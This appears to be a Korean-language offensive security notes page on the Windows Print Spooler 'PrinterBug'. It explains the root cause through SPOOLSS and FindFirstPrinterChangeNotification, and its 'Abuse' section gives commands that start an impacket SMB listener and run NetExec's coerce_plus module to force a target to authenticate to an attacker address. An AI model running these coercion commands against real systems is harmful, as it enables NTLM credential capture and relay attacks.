Printer Spooler

Windows 시스템에서는 클라이언트가 서비스에 접근할 때 클라이언트의 컨텍스트를 인증하기 위해 NTLM 혹은 커버로스를 사용하여 신분을 인증합니다.

PrinterBug는 공격자가 RPC 프로토콜을 이용하여 대상 서버에 원격으로 함수를 실행시키며 그 함수의 요청에 따른 서버의 응답 과정에서 필연적으로 클라이언트의 서비스에 접근하는 점을 악용한 공격입니다.

Abuse

# smb 리스너 서버 실행
impacket-smbserver share . -smb2support

# 강제 인증
nxc smb '<target-address>' -u '<username>' -p '<password>' -M coerce_plus -o LISTENER='<attacker-address>'

Root Cause

공격자가 대상 서버에 원격으로 실행하는 함수인 FindFirstPrinterChangeNotification는 여러개의 매개변수를 사용할 수 있지만, 주로 PRINTER_CHANGE_ADD_JOB이 공격 모듈에 사용됩니다.

공격자가 강제 인증을 시작하면 공격자 클라이언트에서 SPOOLSS 프로토콜을 통해 RFFPCNEX 플래그를 포함한 요청을 보냅니다.

공격에 사용된 Add job: Notify on add job 은 서버에서 새로운 작업이 생성될 시 그 내용을 클라이언트에게 전달해주도록 구성하는 요청입니다.

SPOOLSS 요청을 받은 서버는 클라이언트가 요청한 함수대로 알림을 주기 위해서 먼저 클라이언트에 접근하여 인증해야 합니다. 이 과정에서 NTLM 챌린지가 시작되며 챌린지 값이 클라이언트로 전송됩니다.

References

Last updated